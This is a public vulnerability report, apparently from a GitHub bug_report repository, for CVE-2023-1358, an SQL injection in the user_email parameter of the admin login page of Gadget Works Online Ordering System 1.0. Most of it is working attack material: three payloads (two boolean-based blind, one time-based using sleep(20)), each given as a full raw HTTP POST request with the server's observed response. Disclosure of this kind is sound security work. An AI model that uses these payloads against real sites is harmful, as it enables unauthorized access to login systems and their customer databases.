Headline
CVE-2023-1358: bug_report/SQLi-1.md at main · heitaoa999/bug_report
A vulnerability, which was classified as critical, was found in SourceCodester Gadget Works Online Ordering System 1.0. This affects an unknown part of the file /philosophy/admin/login.php of the component POST Parameter Handler. The manipulation of the argument user_email leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-222861 was assigned to this vulnerability.
Gadget Works Online Ordering System v1.0 has SQL injection
BUG_Author: heitaoa999
Website source address:https://www.sourcecodester.com/php/13093/gadget-works-online-ordering-system-phpmysqli.html
Vulnerability File: /philosophy/admin/login.php
POST parameter ‘user_email’ exists SQL injection vulnerability
Payload1:user_email=a’ rlike (select (case when (666=666) then 0x61 else 0x28 end))-- b&user_pass=b&btnLogin=
POST /philosophy/admin/login.php HTTP/1.1
Host: localhost
Content-Length: 100
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/philosophy/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=erriivuolh0rb2ucknp2nmpolf
Connection: close
user_email=a' rlike (select (case when (666=666) then 0x61 else 0x28 end))-- b&user_pass=b&btnLogin=
boolean-based blind return correct
Payload2:user_email=a’ rlike (select (case when (666=555) then 0x61 else 0x28 end))-- b&user_pass=b&btnLogin=
POST /philosophy/admin/login.php HTTP/1.1
Host: localhost
Content-Length: 100
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/philosophy/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=erriivuolh0rb2ucknp2nmpolf
Connection: close
user_email=a' rlike (select (case when (666=555) then 0x61 else 0x28 end))-- b&user_pass=b&btnLogin=
boolean-based blind return an error
Payload3:user_email=a’ and (select 1 from (select(sleep(20)))a)-- a&user_pass=b&btnLogin=
POST /philosophy/admin/login.php HTTP/1.1
Host: localhost
Content-Length: 80
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/philosophy/admin/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=erriivuolh0rb2ucknp2nmpolf
Connection: close
user_email=a' and (select 1 from (select(sleep(20)))a)-- a&user_pass=b&btnLogin=
The server response time is 20 seconds